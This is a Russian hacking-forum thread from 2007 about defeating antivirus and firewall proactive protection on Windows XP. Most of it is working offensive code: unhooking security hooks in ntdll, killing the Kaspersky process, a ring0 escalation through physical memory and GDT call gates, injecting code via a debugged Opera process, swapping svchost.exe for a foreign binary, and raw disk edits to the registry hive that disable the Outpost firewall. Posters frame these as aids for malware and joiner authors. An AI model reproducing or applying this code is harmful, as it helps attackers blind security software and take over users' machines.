Обход проактивной защиты.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Xserg, 17 Jun 2007.

  1. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Проактивная защита что это такое,
    Пример: картинка
    [​IMG]
    Такое сообщение выдает Касперский, если внедренный в него код, пытается изменить другие процессы.
    Интересно какую, кнопочку выберут, обладатели Kaspersky Anti-Virus. ;)

    Поехали обходить защиту.
    на примере самых популярных защит, по опросам Античат.
    Какой Фаервол Вы предпочитаете?
    Outpost 60.61%
    Какой Антивирус Вы предпочитаете?
    NOD32 44.81%
    AVP(Kaspersky Anti-Virus) 35.31%
    Пишем код под WinXP.

    1.Внедряемся в CSRSS.EXE
    Чем замечателен, этот процесс в XP, он имеет права изменять память других процессов, а этого мы хотим добиться (процесс системный – добавляем себе привелегии SeDebugPrivileg, а из под Гостя можно выбрать процесс попроще, например explorer.exe).
    Открываем процесс CSRSS.EXE и пишем туда наш код.
    Не получилось, сработала проактивная защита.

    NOD32,Outpost ставят НооКи на WriteProcessMemory.
    те. Если мы вызываем функцию записи в чужой процесс, сначала выполняется код внедренный в наш процесс, и этот код разрешает или запрещает запись.

    Выкидываем шпионов из нашего процесса.
    Открываем файл systemroot\ntdll.dll
    Сравниваем (первые 10 байт) кода начала API функций, загруженной, к нам память ntdll.dll с тем, что на диске. Собственно, заменяем, несоответствия на оригинал.
    Тоже самое проделываем, с остальными библиотеками (Kernel32,User32,AdvApi32)
    Касперский , модифицирует адреса функций в EXPORT_DIRECTORY, тоже заменяем, на оригинал.

    Вторая попытка:
    Открываем процесс CSRSS.EXE и пишем туда наш код.

    NOD32,Outpost в пролете. Касперский все перехватил драйвером. (сцуко)
    хотя, норд с аутпостом тоже, заметили, но почему-то, ничего не предприняли.

    Выкидываем AVP из списка процессов
    Ставим Hook на WH_CALLWNDPROC для AVP.EXE, и шлем сообщение WM_QUIT.
    Как только Касперский попытается вывести сообщение, о срабатывании системы самозащиты, тут же слетит по команде TerminateProcess,-1
    Касперский тоже, заметит, но решит что Вы разрешили это сделать, и тревогу не поднимет.

    Третья попытка:
    Открываем процесс CSRSS.EXE и пишем туда наш код.
    Все прошло удачно. Можно перезапустить Касперского, чтобы пользователь ничего не заметил, и выходить из программы, чтобы в диспетчере задач нас тоже не было.

    1.Мониторим запущенные браузеры.
    У svchost.exe, плохая репутация, редко кто этому процессу разрешает доступ к интернет.
    Ждем запуска популярного браузера (Firefox.exe, Opera.exe, Iexplore.exe)
    Инжектим свой код в браузер и у нас появились хоть, какие-то права.

    Ну например, загружаем 'http://xserg11.narod.ru/VB.wav' , в 'c:\VB.wav' (64кб 1мин.)
    И запускаем ShellExecute(,, 'c:\VB.wav'
    VB.wav (с) Nightmarе. Оригинал http://shinobi.org.ru/pranks/get.php?id=12

    Для теста вашей защиты можете запустить:
    Делает все выше перечисленное.
    http://xserg11.narod.ru/tests1.rar (12,5кб) с исходником MASM32
    (TESTS.exe 5632байт, чуть покриптован /NODу не нравится/, не закрепляется в системе, ничего нигде не меняет, ничего не ворует, и вообще не вредоносная программа, после использования систему перезагрузить)
     
    2 people like this.
  2. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    вот код реализации:
    Code:
    bool RemoveHook(char * szDllPath, char * szFuncName)
    {
    	HMODULE lpBase = LoadLibrary(szDllPath);
    	LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
    
    	if ( !lpFunc )
    		return false;
    
    	DWORD dwRVA = (DWORD) lpFunc - (DWORD) lpBase;
    
    	HANDLE hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if ( INVALID_HANDLE_VALUE == hFile )
    		return false;
    
    	DWORD dwSize = GetFileSize(hFile, NULL);
    
    	HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);
    
    	LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);
    
    	LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);
    
    	DWORD dwOldProtect;
    	bool bRes = true;
    	if ( VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect) )
    	{
    		memcpy(lpFunc, lpRealFunc, 10);
    	}
    	else
    	{
    		bRes = false;
    	}
    
    	UnmapViewOfFile(lpBaseMap);
    
    	CloseHandle(hMapFile);
    	CloseHandle(hFile);
    
    	return bRes;
    }
    
    (c) wasm.ru ( автора не помню )
     
    2 people like this.
  3. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,311
    Reputations:
    327
    баян. вся проактивка держится на хуке SDT. те драйвер антивира или фаера перехватывает ряд ядерных функций. очистка SDT подробно описана на rootkit.com и называется вроде SDT Restore
     
    1 person likes this.
  4. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Переход из ring3 в ring0 (для XP)
    Без DuplicateHandle палится проактивной защитой на уровне драйвера.
    И все что я писал в топике, нафик ненужно.

    Автора кода не знаю, я добавил только DuplicateHandle.
    sn0w добавь в свой код.
    Code:
    program ring0;
    
    uses
      Windows, NewAclAPI, NewAccCtrl;
    
    type
      TFarCall = packed record
        Offset: DWORD;
        Selector: Word;
      end;
      TGDTInfo = packed record
        Limit: Word;
        Base: DWORD;
      end;
      PUnicodeString = ^TUnicodeString;
      TUnicodeString = packed record
        Length: Word;
        MaximumLength: Word;
        Buffer: Pointer;
      end;
      PObjectAttributes = ^TObjectAttributes;
      TObjectAttributes = packed record
        Length: DWORD;
        RootDirectory: THandle;
        ObjectName: PUnicodeString;
        Attributes: DWORD;
        SecurityDescriptor: Pointer;
        SecurityQualityOfService: Pointer;
      end;
      PGateDescriptor = ^TGateDescriptor;
      TGateDescriptor = packed record
        OffsetLo: Word;
        Selector: Word;
        Attributes: Word;
        OffsetHi: Word;
      end;
    
      function NtOpenSection(SectionHandle: PHandle; AccessMask: DWORD;
        ObjectAttributes: PObjectAttributes): DWORD; stdcall; external 'NTDLL.DLL';
      procedure RtlInitUnicodeString(DestinationString: PUnicodeString;
        SourceString: PWideChar); stdcall; external 'NTDLL.DLL';
    
    const
      OBJ_CASE_INSENSITIVE = $00000040;
      OBJ_KERNEL_HANDLE = $00000200;
    
    procedure _Ring0; 
    asm
      cli
      pushad
      mov bx,100
      mov al,0b6h
      out 43h,al
      mov dx,0012h
      mov ax,34dch
      div bx
      out 42h,al
      mov al,ah
      out 42h,al
      in al,61h
      mov ah,al
      or al,03h
      out 61h,al
      mov ecx,$12345678
    @@:push eax
       inc eax
       dec eax
       pop eax
       loop @@
      mov al,ah
      out 61h,al
      popad
      sti
      retf
    end;
    
    function QuasiMmGetPhysicalAddress(VirtualAddress: THandle; var Offset: DWORD): DWORD;
    begin
      Offset := VirtualAddress and $FFF;
      if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
        Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000;
    end;
    
    function OpenPhysicalMemory: THandle;
    const
      DeviceName: PWideChar = '\Device\PhysicalMemory';
    var
      PhysMemString: TUnicodeString;
      attributes: TObjectAttributes;
      OldAcl,NewAcl: PACL;
      SD: PSECURITY_DESCRIPTOR;
      Access: EXPLICIT_ACCESS;
      Hprocess:dword;
    begin
      RtlInitUnicodeString(@PhysMemString,DeviceName);
      with attributes do
      begin
        Length := SizeOf(TObjectAttributes);
        RootDirectory := 0;
        Attributes := OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE;
        ObjectName := @PhysMemString;
        SecurityDescriptor := nil;
        SecurityQualityOfService := nil;
      end;
      Hprocess:=GetCurrentProcess;
      NtOpenSection(@Result,READ_CONTROL,@attributes);
      DuplicateHandle(Hprocess,Result,Hprocess,@Result,READ_CONTROL or WRITE_DAC,true,0);
      GetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,@OldAcl,nil,SD);
      with Access do
      begin
        grfAccessPermissions := SECTION_MAP_READ or SECTION_MAP_WRITE;
        grfAccessMode := GRANT_ACCESS;
        grfInheritance := NO_INHERITANCE;
        Trustee.pMultipleTrustee := nil;
        Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
        Trustee.TrusteeForm := TRUSTEE_IS_NAME;
        Trustee.TrusteeType := TRUSTEE_IS_USER;
        Trustee.ptstrName := 'CURRENT_USER';
      end;
      SetEntriesInAcl(1,@Access,OldAcl,NewAcl);
      SetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,NewAcl,nil);
      CloseHandle(Result);
      NtOpenSection(@Result,SECTION_MAP_READ,@attributes);
      DuplicateHandle(Hprocess,Result,Hprocess,@Result,SECTION_MAP_READ or SECTION_MAP_WRITE,true,0);
      LocalFree(DWORD(NewAcl));
      LocalFree(DWORD(SD));
    end;
    
    var
      PhysMem: THandle;
      gdt: TGDTInfo;
      ptrGDT,Ring0Proc: Pointer;
      CurrentGate: PGateDescriptor;
      OldGate,NewGate: TGateDescriptor;
      offset,base_address: DWORD;
      FarCall: TFarCall;
    begin
      PhysMem := OpenPhysicalMemory;
      Ring0Proc := @_Ring0;
      asm sgdt[gdt] end;
      base_address := QuasiMmGetPhysicalAddress(gdt.Base,offset);
      ptrGDT := MapViewOfFile(PhysMem,FILE_MAP_ALL_ACCESS,0,base_address,gdt.limit+offset);
      CurrentGate := PGateDescriptor(DWORD(ptrGDT)+offset);
      repeat
        CurrentGate := PGateDescriptor(DWORD(CurrentGate)+SizeOf(TGateDescriptor));
        if (CurrentGate.Attributes and $FF00) = 0 then
        begin
          OldGate:=CurrentGate^;
          CurrentGate.Selector := 8; // ring0 code selector
          CurrentGate.OffsetLo := DWORD(Ring0Proc);
          CurrentGate.OffsetHi := DWORD(Ring0Proc) shr 16;
          CurrentGate.Attributes := $EC00;
          FarCall.Offset:=0;
          FarCall.Selector:=DWORD(CurrentGate)-DWORD(ptrGDT)-offset;
          Break;
        end;
      until DWORD(CurrentGate) >= DWORD(ptrGDT)+gdt.limit+offset;
      FlushViewOfFile(CurrentGate,SizeOf(TGateDescriptor));
      asm
        db $0ff,$01d
        dd offset FarCall
      end;
      CurrentGate^ := OldGate;
      UnmapViewOfFile(ptrGDT);
      CloseHandle(PhysMem);
      MessageBoxA(0,'\m/','RING-0',MB_OK);
    end.
     
    #4 Xserg, 19 Jun 2007
    Last edited: 30 Jun 2007
  5. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    http://lordofring.tushino.com/SDT.h
    Нашёл в интернете и немного переписал. Чистит SDT. Проверил у себя - работает.Но мега-маза в том, что не хочет линковаться с комментом
    Code:
    #pragma comment(linker,"/ENTRY:WinMain")
    
    Со всеми вытекающими последствиями в весе файла.
    https://forum.antichat.ru/showpost.php?p=391561&postcount=15 - вот что нужно. Тогда будет линковаться.

    Юзать так:
    Code:
    #include "SDT.h"
    ........................
    SDT(); //если всё ок возвратит 0 , не ок 1.
    
     
    1 person likes this.
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Данную багу исправил, файлик перезалил. Примерно +7кб к весу файла.
     
  7. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    ммм... Надо взять на заметку. Полезная инфа.
     
    2 people like this.
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Кстати. на счет этой темы. У меня както возник вопрос.
    А именно про касперского. Онже многое ловит через драйвер.
    В этоге получается вот такая вешь при загрузки системы:
    Сначала грузится виндовые драйвера и драйвер каспера, потом виндовые сервисы, а потом то что нходится в авторане. Ну так вот. А если все свои пакости делать в то время когда драйвер уже загружен, а Gui авира еще не успела загрузиться.
    Ведь по идеи даже если чтото будет обнаружено, то врядли будут всякие придупреджения . Или я не прав?
     
  9. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    В логах каспера будет отчет, об незаконной операции с полным именем файла.
    Помечено как допустимое. Тревоги не будет.
     
  10. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Xserg ДЫк значит остается тока замутить запуск проги в нужно время.
    Чтобы это сделать есть 2 пути.
    1) Секция сервисов - скорее всего отпадает. потому что авиры палят установку нового сервиса.
    2) Секция предназначенная для программ установок. Запускается в последнюю очередь, но до запуска авторана. На счет того можно ли туда чтолибо писать - хз.
    Вроде место не очень паливное, но на авирах еще не проверял.
     
  11. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Вообще сейчас я пишу программу которая переименовывает ...\RUN в ...\RAN
    Все задачи из реального runa запускает
    CreateProcessA CREATE_SUSPENDED
    Инжект код
    CreateProcessA CREATE_SUSPENDED
    Инжект код
    ….
    ResumeThread(s)

    Пока проблема в сплайсе функций проверки ...\RUN, и времени свободного мало.
     
    1 person likes this.
  12. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Еще один метод инжекта. Судя по тому что, не палится ни Оутпостом, ни Нодом, они про него просто ни знают.

    Пишем заголовок программы

    Code:
    var sk:_CONTEXT;
          st:STARTUPINFO;
          pi:PROCESS_INFORMATION;
          s:shortstring;
    byte(s[0]):=GetModuleFileNameA(Hinstance,@s[1],255);
    for y:=1 to length(s) do s[y]:=upcase(s[y]);
    if pos('OPERA',s)<>0 then begin
    Beep(500,500);
    sleep(10000);
    ExitProcess(0);
                                                end;
    Вообще то наш процесс называется Project1.exe и как он станет OPERA.EXE читаем дальше.

    Запускаем оперу:
    // далее по тесту программы будут использоваться константы вместо переменных
    // сделано это для простоты написания примера.
    Code:
    ZeroMemory(@st,sizeof(st));
    st.cb:=sizeof(st);
    st.wShowWindow:=SW_SHOW;
    s:='C:\Program Files\'#0;
    SetCurrentDirectoryA(@s[1]);
    CreateProcessA(nil,'Opera.exe',nil,nil,true,
    DEBUG_ONLY_THIS_PROCESS,nil,nil,st,pi);
    Oпера загрузится но выполнятся не станет.

    Находим адрес ReadProcessMemory, и создаем Handle для оперы , чтобы она могла читать память нашего процесса.
    Code:
    OEP:=$416001; // внимание константа
    _ReadeProcessMemory:=GetProcAddress(
    GetmoduleHandle('kernel32.dll'),'ReadProcessMemory');
    prin:=OpenProcess(PROCESS_ALL_ACCESS,true,GetCurrentProcessId);
    DuplicateHandle($ffffffff,prin,pi.hProcess,@prin,PROCESS_ALL_ACCESS,true,0);
    Ставим бряк на OEP и запускаем Оперу
    Code:
    function _DEBUG_(psk:PContext):dword;
    begin
    psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
    SetThreadContext(pi.hThread,psk^);
    de.dwDebugEventCode:=0;
    while de.dwDebugEventCode<>EXCEPTION_DEBUG_EVENT do begin
      ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
      WaitForDebugEvent(de,100);
    if de.dwDebugEventCode=EXIT_PROCESS_DEBUG_EVENT then ExitProcess(0);
                                                         end;
    psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread,psk^);
    _DEBUG_:=psk^.Eip;
    end;
    
    sk.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread,sk);
    sk.Dr0:=OEP; // break on OEP Opera.exe
    sk.Dr6:=$ffff47f0;
    sk.Dr7:=$401;
    while _DEBUG_(@sk)<>OEP do;
    Опера остановилась на OEP. Дальше она нас не интересует , нас интересует только ее привилегии.

    Помещаем в стек оперы ,переменные необходимые для выполнения в ее контексте ReadeProcessMemory.
    Api ReadeProcessMemory у меня начинается с push ebp ($55), найти подобную инструкцию, не составит большого труда, в любом процессе.
    Выполняем шесть команд push ebp, предварительно заполнив ebp нужными нам данными.
    Code:
    for WPM:=1 to 6 do begin
    sk.Eip:=dword(_ReadeProcessMemory);
    sk.Dr0:=sk.Eip+1; // next command
    sk.Dr6:=$ffff47f0;
    sk.Dr7:=$401;
    case (WPM) of
    1: sk.Ebp:=sk.Esp+$10; // actual number of bytes written
    2: sk.Ebp:=$20000;  // number of bytes to write
    3: sk.Ebp:=$401000; // pointer to buffer to write data to
    4: sk.Ebp:=$401000; // address to start reading from
    5: sk.Ebp:=prin; // Hprocess
    6: sk.Ebp:=0; //return address обязательно брякнится
    end;
    _DEBUG_(@sk)
                      end; 
    Загружаем нашу программу в память Оперы через ReadeProcessMemory. ставим новый Eip на OEP нашей программы, запускаем , как бы, Оперу. Далее останавливаем Debug и выходим.
    Code:
    sk.Eip:=dword(_ReadeProcessMemory);
    sk.Dr0:=0;
    sk.Dr6:=0;
    sk.Dr7:=0;
    _DEBUG_(@sk);
    
    dword(pdw):=Hinstance+$128; // OEP Project1.exe
    sk.Eip:=$400000+pdw^;
    SetThreadContext(pi.hThread,sk);
    ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
    DebugActiveProcessStop(pi.dwProcessId); 
    Наша программа запустилась с привилегиями OPERA, типа Ура.

    Можно запустить и svchost.exe и пользоваться его привилегиями, они у него не малые,
    и выполнять любые API из его контекста.

    Касперский при параноидальной настройке ругается на SetThreadContext.
    Так что ищем в инете 1001 и один способ убить Билла. (kav.exe)
     
    2 people like this.
  13. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Совсем забыл про распространенный и изящный метод, натягивания на себя привилегий svchost.exe ;)

    Code:
      .486                
      .model flat,stdcall
      option casemap :none
          include \masm32\include\windows.inc
          include \masm32\include\user32.inc
          include \masm32\include\kernel32.inc
          includelib \masm32\lib\user32.lib
          includelib \masm32\lib\kernel32.lib
    gText MACRO reg,zText:VARARG
          LOCAL m1
              call m1
              db zText,0
              m1:
              pop reg
            ENDM
    FILE_NAME STRUCT
     PathFile  BYTE 256 dup (?) 
    FILE_NAME ENDS
    ;----------------------------------------------
          .code
    start:
    main proc ;------------------------------------
    LOCAL SystemDir  :FILE_NAME              
    LOCAL FileName   :FILE_NAME              
    LOCAL FileNameH  :FILE_NAME              
    LOCAL FileNameHb :FILE_NAME              
    LOCAL PI         :PROCESS_INFORMATION
    LOCAL Sinfo      :STARTUPINFO
    ;Проверяем под каким именем запустились
       lea edi,FileName
     invoke GetModuleFileNameA,0,edi,255
        cmp [edi+eax-8],dword ptr 'tsoh'
        jz _svchost ; Переход если процесс svchost.exe
        jmp No_svchost 
    ; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««
    ;Здесь мы для всех -> User  :\windows\system32\svchost.exe 
    _svchost:
    gText ecx,'svchost'
    gText ebx,'OK'
          invoke MessageBoxA,0,ecx,ebx,0
        jmp EXIT
    ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
    No_svchost:
      lea edi,SystemDir
      invoke GetSystemDirectoryA,edi,255
      invoke SetCurrentDirectoryA,edi
        lea edi,FileNameH
        invoke GetSystemDirectoryA,edi,255
        mov [edi+eax-0],dword ptr 'cvs\'
        mov [edi+eax+4],dword ptr 'tsoh'
        mov [edi+eax+8],dword ptr 'exe.'
        mov [edi+eax+12],dword ptr 0
          lea esi,FileNameHb
          invoke GetSystemDirectoryA,esi,255
          mov [esi+eax-0],dword ptr 'cvs\'
          mov [esi+eax+4],dword ptr 'tsoh'
          mov [esi+eax+8],dword ptr 'kab.'
          mov [esi+eax+12],dword ptr 0
    ;MoveFile 'svchost.exe' в 'svchost.bak'
           invoke MoveFileExA,edi,esi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
    ;MoveFile 'наш.exe' в 'svchost.exe'
            lea esi,FileName
            invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
    ;CreateProcess 'svchost.exe' = 'наш.exe'
             lea edi,Sinfo
             mov ecx,size(STARTUPINFO)
             xor eax,eax
             rep stosb
             lea ebx,PI
             lea edi,Sinfo
             mov Sinfo.cb,size(STARTUPINFO)
             gText esi,'.\svchost.exe'
             invoke CreateProcessA,0,esi,0,0,0,NORMAL_PRIORITY_CLASS,0,0,edi,ebx
    ;MoveFile 'svchost.bak' в 'svchost.exe' не обязательно
          lea edi,FileNameH
          lea esi,FileNameHb
          invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
    EXIT: 
     invoke ExitThread,0
    ;----------------------------------------------------------------------------------------------
    main endp 
    start_end:
    end start
    Палится Касперским, если установлена проверка запуска системных файлов.

    Особенно полезен MoveFileExA для Joiner-o писателей. Т.к. запуск вновь созданного файла будет замечен любой проактивной защитой.
     
    1 person likes this.
  14. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Запись в реестр
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    // тестил только на XP FAT32,NTFS
    // как обычно куча констант - для теста возможностей очень удобно
    // особые извинения не любителям Делфи

    Делает:
    Меняет запись в реестре
    'F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
    На
    'D:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
    Очевидным это станет для всех программ только после перезагрузки.
    Как это можно использовать? ;)
    Code:
     unit Unit1;
    interface
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls;
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Memo1: TMemo;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    const
      FSCTL_GET_RETRIEVAL_POINTERS=$90073;
      IOCTL_DISK_GET_CACHE_INFORMATION=$740D4;
      IOCTL_DISK_SET_CACHE_INFORMATION=$7C0D8;
      FILE_READ_ATTRIBUTES= $80;
     type
    RETRIEVAL_POINTERS_BUFFER=record
                   ExtentCount,XX:DWORD;
                   StartingVcn:int64;
                               end;
    TExtents =record
            NextVcn:int64;
            Lcnlo,Lcnhi:dword;
              end;
    var
      Form1: TForm1;
      s,s1,s2:string;
      hFile,L,i,i1,i2,i3:Dword;
      I64:int64;
      SectorsPerCluster,BytesPerSector,X1,X2,ClusterSize:dword;
      buf:^RETRIEVAL_POINTERS_BUFFER;
      bufe:^TExtents;
      bufe64:^int64;
    //  CACHE_INFORMATION:DISK_CACHE_INFORMATION;
    implementation
    {$R *.dfm}
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    memo1.Lines.Clear;
    setlength(s,256);GetSystemDirectory(@s[1],256);setlength(s,2);s:=s+#0;
    GetDiskFreeSpace(pAnsiChar(s),SectorsPerCluster,BytesPerSector,X1,X2);
    ClusterSize:=SectorsPerCluster*BytesPerSector;
    setlength(s,256);setlength(s,GetSystemDirectory(@s[1],256));
    // открываем файл реестра где RUN
    s:=s+'\config\software'+#0;
    hFile:=CreateFile(pAnsiChar(s),FILE_READ_ATTRIBUTES,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
    memo1.Lines.Add(inttohex(hFile,8));
    if hFile=INVALID_HANDLE_VALUE then exit;
    setlength(s1,getfilesize(hFile,@I)+512);
    setlength(s,$200000);
    i64:=0;
    //Получаем расположение кластеров реестра
    DeviceIoControl(hFile,FSCTL_GET_RETRIEVAL_POINTERS,@i64,8,@s[1],$200000,L,0);
    buf:=@s[1];
    bufe:=@s[17];
    bufe64:[email protected];
    closehandle(hFile);
    // с фрагментированными файлами немного сложнее.
    if buf.ExtentCount<>1 then begin memo1.Lines.Add('Fragmented');exit; end;
    if l=0 then begin memo1.Lines.Add('FSCTL_GET_RETRIEVAL_POINTERS error 0');exit; end;
    // GENERIC_READ or GENERIC_WRITE
    // Открываем логический диск на чтение-запись
    hFile:=CreateFile('\\.\F:',GENERIC_ALL,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
    S2:='F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice';
     setlength(s1,ClusterSize*2);
    bufe64^:=bufe64^*ClusterSize;
     for i2:=0 to bufe.NextVcn-1 do begin
    // Ищем известные нам записи в реестре
    l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
    ReadFile(hFile,s1[1],ClusterSize*2, X1, 0);
    for i:=1 to ClusterSize*2-length(s2) do begin
    i1:=1;
    while i1<length(s2) do begin
    if s1[i+(i1-1)*2]<>S2[i1] then begin i1:=$ffffffff;break;end;
    inc(i1);
                        end;
    if i1<>$ffffffff then  begin
                     asm int 3 end; //<-????
    S1[i]:='D';
    l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
    // Меняем реестр
    WriteFile(hFile,s1[1],ClusterSize*2, X1, 0);
                           end;
                                              end;
    bufe64^:=bufe64^+ClusterSize;
                                   end;
    closehandle(hFile);
    end;
    end.
    
    После перезагрузки Аутпост не запустится, но его драйвер не позволит Вам, исправить все как было раньше. :)
    ЗыЖ Аккуратнее с этими операциями, я себе Windows XP уже загубил, прошлось переустанавливать.
     
    #14 Xserg, 28 Sep 2007
    Last edited: 1 Oct 2007